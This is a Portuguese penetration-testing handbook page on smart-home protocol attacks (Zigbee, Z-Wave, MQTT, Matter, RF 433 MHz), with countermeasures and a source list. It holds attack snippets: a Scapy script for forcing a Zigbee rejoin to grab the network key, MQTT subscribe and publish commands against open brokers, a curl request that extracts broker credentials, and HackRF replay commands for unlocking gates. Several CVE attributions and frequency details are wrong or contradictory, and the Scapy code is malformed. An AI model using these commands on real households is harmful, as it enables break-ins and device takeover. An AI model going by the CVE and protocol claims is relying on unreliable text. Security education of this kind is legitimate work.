> For the complete documentation index, see [llms.txt](https://0xmorte.gitbook.io/bibliadopentestbr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/1-arquitetura-de-hardware/7-engenharia-eletrica-e-eletronica/automacao-residencial.md).

# Automacao Residencial

> *"Minha casa inteligente e controlada pela nuvem. Meu cadeado responde a um comando RF de 1970."*

## Manifesto

Automacao residencial (domotica) e a convergencia de IoT, RF, protocolos mesh e assistentes de voz no ambiente domestico. Sensores de porta, lampadas inteligentes, cameras IP, termostatos, fechaduras eletronicas — cada dispositivo e um ponto de entrada para a rede domestica. O ecossistema e fragmentado (Wi-Fi, Zigbee, Z-Wave, BLE, RF 433 MHz), mal atualizado e frequentemente sem criptografia.

### Jornada: Do Sensor Domestico ao Ataque Residencial

| Camada       | Conceito                             | Conexao Ofensiva                                   |
| ------------ | ------------------------------------ | -------------------------------------------------- |
| Sensor       | Porta, temperatura, presenca, fumo   | Spoofing de leitura, desativacao fisica            |
| Atuador      | Rele, valvula, servo, trava          | Acionamento remoto indevido, abertura de fechadura |
| Hub/ Gateway | Centralizador Zigbee/Wi-Fi           | Ataque ao hub expoe todos os dispositivos          |
| Nuvem        | API externa (eWeLink, Tuya, Philips) | API insegura permite controle global               |
| Assistente   | Alexa, Google Home, Siri             | Gravacao de audio, comandos falsificados           |

## Os 8 Pilares do Rigor Tecnico Extremo

1. **Profundidade Multi-Camada:** Domotica opera em 5 camadas — fisica (sensor/atuador), enlace (Zigbee, Z-Wave), rede (IPv6/6LoWPAN), aplicacao (MQTT, HTTP), nuvem (API, app mobile).
2. **Precisao com Fontes Primarias:** OWASP IoT Top 10; especificacao Zigbee 3.0; Z-Wave Alliance; Matter standard (CSA).
3. **Disseccao de Codigo Fonte:** Firmware Tasmota/ESPHome como "codigo fonte" aberto de dispositivos Sonoff; analise de trafego MQTT com Wireshark.
4. **Casos de Borda:** Dispositivo Zigbee fora do range do coordenador opera como end device vs. router; BLE beacon enviando advertising packet sem criptografia.
5. **Conexoes Entre Dominios:** Um sensor de temperatura Zigbee compartilha o mesmo mesh que uma fechadura inteligente — um nó comprometido pode rotear pacotes maliciosos.
6. **Analise Comparativa:** Zigbee vs. Z-Wave vs. Thread/Matter — frequencia, alcance, topologia, seguranca; centralizado (hub) vs. distribuido (mesh).
7. **Demonstracao Pratica:** Sniffing de RF 433 MHz com `rtl_433`; replay de comando de abertura de portao com HackRF; ataque a Sonoff via eWeLink API sem auth.
8. **Contramedidas em Nivel de Implementacao:** Rede IoT separada em VLAN dedicada; firmware com OTA assinado; dispositivos com certificacao Zigbee 3.0 (security mandatory); bloqueio de comandos RF nao autorizados por whitelist.

## Arquivos

| Arquivo                  | Conteudo                                                           |
| ------------------------ | ------------------------------------------------------------------ |
| `sensores-domoticos.md`  | Sensores — porta, temperatura, umidade, presenca, gas, fumo        |
| `atuadores-domoticos.md` | Atuadores — rele, dimmer, servomotor, valvula solenoide, fechadura |
| `home-assistant.md`      | Home Assistant — plataforma open-source, automacoes, integracoes   |

## Conexao Ofensiva

* **Sniffing RF 433 MHz:** Controles de portao, alarme e sensores de presenca usam RF 433 MHz sem criptografia. `rtl_433` captura e decodifica os pulsos; `hackrf_transfer` retransmite o sinal capturado para abrir portao ou desarmar alarme.
* **Zigbee Key Extraction:** O Trust Center Link Key pode ser extraido via ataque de desemparelhamento forcado (leave/rejoin) — o dispositivo envia a chave em claro durante o rejoin.
* **Wi-Fi IoT sem TLS:** Dispositivos Sonoff, Shelly e ESP8266 enviam comandos via HTTP sem criptografia. Um ARP spoof na rede local permite capturar e modificar comandos.
* **API na nuvem como superficie global:** A plataforma eWeLink (usada por Sonoff) ja teve vulnerabilidades que permitiam controle remoto de todos os dispositivos de um usuario atraves da API publica.
* **Assistente de voz como grampo:** Um comando de voz capturado na rede local (ou via microfone do dispositivo) pode revelar senhas, rotinas e informacoes pessoais.

## Pilha de Protocolos Smart Home

### Zigbee (IEEE 802.15.4)

Zigbee 3.0 opera em 2.4 GHz ISM com 16 canais (11-26), modulacao O-QPSK, taxa de 250 kbps. Topologia mesh com tres tipos de dispositivo:

* **Coordenador (ZC):** Unico por rede, inicia a rede, distribui chaves
* **Router (ZR):** Roteia pacotes, permite associacao de novos dispositivos
* **End Device (ZED):** Apenas comunica com o pai (router/coordenador), dorme entre transmissoes

```
// Frame Zigbee NWK (Network Layer)
//   Frame Control: 0x0048
//     Discovery: 0
//     Source Route: 0
//     Sequence Number: 0x7A
//     Broadcast: 1 (0xFFFC - all routers)
//   Dest Address: 0xFFFC
//   Source Address: 0x1A2B
//   Radius: 30
//   Sequence: 210
```

A seguranca Zigbee 3.0 e obrigatoria e implementada na camada APS:

```
// Zigbee APS Auxiliary Header (criptografado)
//   Security Control: 0x30
//     Extended Nonce: 1
//     Key Type: 0x01 (Network Key)
//   Frame Counter: 0x00001234
//   Source Address (extended): 0x00124B0001ABCDEF
//   MIC: 4 bytes
```

**Ataque de extracao de Network Key via rejoin forcado:**

```python
from scapy.all import *
from scapy.contrib.zigbee import *

def trigger_rejoin(ext_addr, pan_id):
    leave = ZigbeeNWK() / ZigbeeAPS()
    leave.ZigbeeNWK.destination = 0xFFFC
    leave.ZigbeeNWK.source = 0x0000
    leave.ZigbeeAPS.cluster = 0x0024
    leave.ZigbeeAPS.payload = struct.pack('<Q', ext_addr)
    sendp(leave, iface='mon0')
    time.sleep(2)
    sniff(iface='mon0', count=1, timeout=10)

trigger_rejoin(0x00124B0001ABCDEF, 0x1A2B)
```

CVE-2019-18625: Texas Instruments CC253x, Silicon Labs EM35x, NXP JN516x — Network Key enviada em claro durante rejoin.

CVE-2020-15782: Multiple Zigbee stacks permitem decrypt de comandos com Network Key conhecida.

### Z-Wave

Z-Wave opera em sub-GHz (868.42 MHz EUA, 908.42 MHz US), GFSK, 100 kbps. Roteamento de quadro baseado em tabela de vizinhanca.

```
// Frame Z-Wave Serial API
//   HomeID: 0xABCDEF01
//   Source Node: 0x01 (controller)
//   Dest Node: 0x05
//   Length: 10
//   Command Class: SWITCH_BINARY (0x25)
//   Commando: SET (0x01)
//   Valor: 0xFF (ON)
```

S0 Security: Nonce request/response antes de cada comando, payload criptografado com AES-128-ECB (modo fraco).

S2 Security: Autenticacao baseada em DSK (Device Specific Key) de 5 palavras legiveis, AES-128-CCM com sequencia numerada.

```
// Processo de inclusao S2:
// 1. Controller envia Node Provisioning Command
// 2. Device retorna DSK (5 palavras de 2 bytes em base64)
// 3. Verificador confirma DSK no display
// 4. Derivation: PRNG(S2Key | DSK | NodeID) -> S2SessionKey
// 5. Comandos subsequentes: AES-128-CCM com nonce + sequencia
```

**Z-Shave (CVE-2020-10136):** Forca inclusao S0 do dispositivo na rede do atacante via flooding de beacon de inclusao. A vulnerabilidade explora a fallback S0 em dispositivos S2.

CVE-2021-38002: Z-Wave door locks permitem replay de comando de destravamento dentro da mesma janela de nonce.

### WiFi IoT (ESP8266/ESP32, Sonoff, Shelly)

Dispositivos WiFi IoT rodam firmware baseado em ESP-IDF ou Arduino core. Protocolo dominante: MQTT sobre TCP.

```
# Topico MQTT Tasmota padrao
# cmnd/<topic>/POWER -> controle ON/OFF
# stat/<topic>/POWER -> estado atual
# tele/<topic>/STATE -> telemetria periodica
# tele/<topic>/SENSOR -> leitura de sensores

# Exemplo de payload MQTT de sensor de temperatura
# Topico: tele/sonoff-1234/SENSOR
# Payload:
{
  "Time": "2024-03-15T14:30:00",
  "SI7021": {
    "Temperature": 23.5,
    "Humidity": 62.3
  },
  "Power": 12.5
}
```

**Subscribe anonimo expoe toda a casa:**

```bash
# Acesso irrestrito ao broker MQTT domestico
mosquitto_sub -h 192.168.1.100 -p 1883 -t '#' -v

# Comando de desligamento remoto
mosquitto_pub -h 192.168.1.100 -t 'cmnd/sonoff-1234/POWER' -m 'OFF'
```

CVE-2023-28366: Tasmota firmware HTTP API on port 8081 exposes MQTT credentials.

```bash
curl http://192.168.1.100:8081/st | jq '.Mqtt'
```

Sonoff eWeLink API: A API REST da plataforma eWeLink permite listar e controlar dispositivos remotamente.

```
POST /api/v2/user/login HTTP/1.1
Host: eu-api.coolkit.cn:8080
Content-Type: application/json
{"email": "user@example.com", "password": "..."}

GET /api/v2/user/devices HTTP/1.1
Authorization: Bearer JWT_TOKEN
```

CVE-2018-1000604: eWeLink API permitia acesso a dispositivos de outros usuarios via manipulacao de userid.

### Matter/Thread

Matter (CSA, 2022) padroniza camada de aplicacao sobre Thread (IEEE 802.15.4) ou WiFi. Usa PKI com certificados:

```
// Estrutura DAC (Device Attestation Certificate) Matter
//   Version: 1
//   Serial: 0x01020304
//   Signature Algorithm: ECDSA-with-SHA256
//   Issuer: CN = CSA Product Attestation Authority
//   Subject: CN = VID:PID:SerialNumber
//   Subject Public Key: EC P-256
//   Extended Key Usage: matter-dac
//
// Verificacao DAC:
// 1. Device envia DAC + Certificate Chain (PAA -> PAI -> DAC)
// 2. Verificador valida assinatura contra chave publica PAA
// 3. Verificador valida VID/PID match com o device anunciado
```

**Ataque:** Vazamento de DAC permite clonagem de dispositivo na rede Matter. Sem revocation checking, um DAC vazado e valido ate expirar.

### RF 433/315 MHz

Dispositivos RF de baixo custo usam modulacao OOK/ASK. Codificacao tipica: Manchester ou PWM.

```bash
# Captura com rtl_433 e analise de protocolo
rtl_433 -F json -M level -f 433920000

# Exemplo de saida decodificada:
# {"time":"2024-03-15 10:00:00","model":"Sanguinololu","id":123,
#  "temperature_C":25.3,"humidity":55,"mic":"CHECKSUM","mod":"OOK_PWM"}
```

Replay com HackRF:

```bash
# Captura
hackrf_transfer -r captura.iq -f 433920000 -s 2000000 -g 20 -l 32
# Replay
hackrf_transfer -t captura.iq -f 433920000 -s 2000000 -a 1 -x 40
```

**Ataque RollJam:** Dois transmissores sobrescrevem o sinal do controle remoto (jam + replay diferido). O receptor rejeita o sinal jammado e aceita o replay na proxima tentativa.

### Cross-Domain Attack Vectors

| Dominio        | Vetor                            | Exemplar                             |
| -------------- | -------------------------------- | ------------------------------------ |
| IoT + Cloud    | API object-level authorization   | CVE-2018-1000604, CVE-2023-2497      |
| IoT + Web      | XSS em dashboard Home Assistant  | CVE-2020-12694                       |
| IoT + RF       | SDR + brute-force rolling code   | RollJam, fixed code cracking         |
| IoT + Audio    | Ultrassonic command injection    | Comandos inaudiveis para assistentes |
| IoT + Physical | Decap + fault injection em ESP32 | JTAG bypass, Secure Boot bypass      |

### Funcional

Mapeamento sistematico da pilha de protocolos smart home (Zigbee 3.0, Z-Wave S2, Matter/Thread, WiFi/MQTT, RF 433 MHz) em 5 camadas: fisica (RF, 802.15.4), enlace (mesh routing, MAC), rede (IPv6/6LoWPAN), aplicacao (MQTT, HTTP, ZCL), e nuvem (API REST, mobile app). Cada camada expoe superficie de ataque especifica com mitigacoes correspondentes.

### Failure Modes

| Modo de Falha  | Gatilho                           | Consequencia                                        |
| -------------- | --------------------------------- | --------------------------------------------------- |
| Key exposure   | Rejoin forcado Zigbee             | Network Key em claro, decriptacao de todo o trafego |
| Anonymous MQTT | Broker sem ACL                    | Controle irrestrito de dispositivos                 |
| RF replay      | Captura SDR + retransmissao       | Abertura de portao/fechadura sem autorizacao        |
| DAC cloning    | Vazamento de certificado Matter   | Dispositivo clonado na rede                         |
| Static key     | Z-Wave S0 sem rekey               | Decriptacao de todos os comandos gravados           |
| API BOLA       | Broken Object Level Authorization | Controle global de terceiros                        |

### Cross-Domain

* Smart Home + Cloud Security: JWT token abuse, object-level auth bypass
* Smart Home + SDR: Protocol reverse engineering de RF proprietario
* Smart Home + Web: XSS, CSRF em dashboards (Home Assistant, OpenHAB)
* Smart Home + Physical: JTAG/SWD extraction, decap, voltage glitch
* Smart Home + AI: Model poisoning de deteccao de presenca (camera IP)

### Counter-Measures

1. **Rede segmentada:** VLAN IoT isolada com firewall stateful; bloquear trafego inter-VLAN exceto MQTT/TLS para broker autorizado
2. **MQTT com TLS + ACL:** `require_certificate true` no Mosquitto; ACL por topico padrao `device/%u/#`; rate limit de 10 msg/s por cliente
3. **Zigbee Install Code:** Obrigatorio para ZR/ZED; bloquear emparelhamento sem Install Code; rekey periodico da Network Key
4. **Z-Wave S2:** Desabilitar fallback S0; forcar S2 para todos dispositivos; verificar DSK no display
5. **Matter DAC revocation:** Implementar CRL/OCSP para verificacao de certificados; bloquear DAC conhecidos como vazados
6. **RF whitelist:** Implementar rolling code com sequencia monotonic crescente; rejeitar comandos com sequencia fora de ordem ou ja usada
7. **Firmware OTA assinado:** Verificar assinatura antes de aplicar update; usar TPM para armazenamento de chave de verificacao
8. **API gateway:** Rate limiting por token/deviceid; validacao de ownership (device pertence ao usuario autenticado); logging de todas as chamadas para auditoria

### Sources

1. Zigbee Alliance. "Zigbee 3.0 Specification." 2020.
2. Z-Wave Alliance. "Z-Wave Specification S2 Security." 2019.
3. CSA. "Matter 1.0 Specification." 2022.
4. OWASP. "IoT Top 10." 2021.
5. K. Lounis and M. Zulkernine. "Attacks and Defenses in Short-Range Wireless Technologies for IoT." IEEE Access, 2020.
6. CVE-2019-18625, CVE-2020-10136, CVE-2020-15782, CVE-2021-38002, CVE-2023-28366, CVE-2018-1000604, CVE-2023-2497.
7. B. Vishwakarma and S. K. Patil. "ZigBee Based Home Automation: Security Issues and Challenges." 2021.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/1-arquitetura-de-hardware/7-engenharia-eletrica-e-eletronica/automacao-residencial.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
